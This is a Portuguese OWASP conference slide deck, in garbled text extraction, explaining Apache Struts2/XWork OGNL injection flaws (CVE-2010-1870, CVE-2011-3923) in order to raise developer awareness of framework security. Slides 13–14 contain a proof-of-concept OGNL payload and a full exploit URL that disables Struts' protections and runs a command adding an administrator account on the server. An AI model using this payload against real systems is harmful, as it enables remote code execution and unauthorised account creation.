Title: Vulnerable Frameworks Yield Vulnerable Apps
1Struts2/XWork Remote Command Execution
Tiago Natel de Moura natel_at_owasp.org
2Sobre mim
- Pesquisador e co-fundador do grupo BugSec Team.
bugsec.googlecode.com - Consultor de Segurança na SEC.
www.secplus.com.br - Co-Fundador e Lider do Capítulo da OWASP de
Florianópolis. - Desenvolvedor de algumas ferramentas de
segurança http//github.com/tiago4orion
3Experiências/Interesses
- Linguagens
- C, C, Assembly, Lisp
- Segurança
- Desenvolvimento de Exploits
- Buffer overflows (Stack/Heap Overrun)
- Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/HTTP,
etc) - Análise de Malwares
- Web Application Vulnerabilities (SQLI, XSS, CSRF,
LFD/RFI, etc) - Metodologias de segurança
4Sobre essa palestra
- Falar sobre uma falha crítica no framework Struts
que permite ao atacante executar comandos no
servidor. - Concientizar os desenvolvedores sobre a
importância da segurança na escolha das
tecnologias utilizadas no projeto.
5A verdade sobre os frameworks
- Eles também possuem falhas de segurança ...
- Todos eles...
- Java Struts, Hibernate, Spring
- Microsoft .Net
- Ruby Rails, Merb, Ramaze
- Python Django, Twisted, web.py
- PHP Zend, Symfony, Cake
- Você audita o código do seu framework?
6Um pouco sobre Struts e OGNL
- Struts2 é basicamente um framework para
desenvolver aplicações web em Java utilizando a
arquitetura de Model-View-Controller (MVC) - Object-Graph Navigation Language (OGNL) é uma
linguagem para acessar e setar propriedades de
objetos Java. - Struts2 trata os parametros HTTP como expressões
OGNL.
7CVE-2010-1870 Struts2/XWork Remote Code
Execution
The OGNL extensive expression evaluation
capability in XWork in Struts 2.0.0 through
2.1.8.1, as used in Atlassian Fisheye, Crucible,
and possibly other products, uses a permissive
whitelist, which allows remote attackers to
modify server-side context objects and bypass the
"" protection mechanism in ParameterInterceptors
via the (1) context, (2) _memberAccess, (3)
root, (4) this, (5) _typeResolver, (6)
_classResolver, (7) _traceEvaluations, (8)
_lastEvaluation, (9) _keepLastEvaluation, and
possibly other OGNL context variables, a
different vulnerability than CVE-2008-6504.
8CVE-2011-3923 - Apache Struts 'ParameterIntercepto
r' Class OGNL Security Bypass
Apache Struts is prone to a security-bypass
vulnerability because it fails to adequately
handle user-supplied input. This issue is
related to the vulnerability documented in BID
32101(XWork 'ParameterInterceptor' Class OGNL
Security Bypass Vulnerability). Apache Struts
versions 2.0.0 through 2.3.1.1 are vulnerable.
9Múltiplas Vulnerabilidades...
- Remote command execution in Struts lt 2.2.1.1
(ExceptionDelegator) - Remote command execution in Struts lt 2.3.1
(CookieInterceptor) - Arbitrary File Overwrite in Struts lt 2.3.1
(ParametersInterceptor) - Remote command execution in Struts lt 2.3.1
(DebuggingInterceptor)
10Um exemplo de OGNL
http//server/your/web/app?page'language'en
action.getPage().setLanguage("en")
11Como Struts2 e OGNL conduzem para uma execução
remota de código
- OGNL existe para referenciar variáveis usando o
prefixo ''. - Adicionalmente, existem contextos pré-definidos
como session, context...
12Como Struts2 e OGNL conduzem para uma execução
remota de código
- 1. Descubriu-se que o módulo ParametersInterceptor
o qual realiza a transformação das variáveis do
GET para Java não escapa '' de maneira
apropriada quando ele é enviado como uma string
unicode '\u0023'. - 2. Existem duas chaves de contextos importantes
- context OgnlContext Este possui a
propriedade chamada 'xwork.MethodAccessor.denyMeth
odExecution' o qual nega a execução de um método. - _memberAccess - SecurityMemberAccess, contém um
campo chamado 'allowStaticAccess' o qual previne
a execução de métodos estáticos.
13Como Struts2 e OGNL conduzem para uma execução
remota de código
É fácil ver aonde isso vai acabar ...
_memberAccess'allowStaticMethodAccess'
true foo new java .lang.Boolean("false") con
text'xwork.MethodAccessor.denyMethodExecution'
foo rt _at_java.lang.Runtime_at_getRuntime() rt
.exec('net user /add newadmin HACKED')
14Como Struts2 e OGNL conduzem para uma execução
remota de código
É facil ver aonde isso vai acabar...
_memberAccess'allowStaticMethodAccess'
true foo new java .lang.Boolean("false") con
text'xwork.MethodAccessor.denyMethodExecution'
foo rt _at_java.lang.Runtime_at_getRuntime() rt
.exec('net user /add newadmin HACKED')
http//vulnerable_host/login.action?
('\u0023_memberAccess\'allowStaticMethodAccess\'
')(meh)true (aaa)(('\u0023context\'xwork.Meth
odAccessor.denyMethodExecution\'\u003d\u0023foo')
(\u0023foo\u003dnew20java.lang
.Boolean("false"))) (asdf)(('\u0023rt.exec(net
20user20/add20newadmin20HACKED)')
(\u0023rt\u003d_at_java.lang.Runtime_at_getRuntime()))
1
15Como escolher a tecnologia a ser usada no projeto?
Consulte a comunidade de segurança!
16The End
E-mail natel ltatgt owasp.org github
github.com/tiago4orion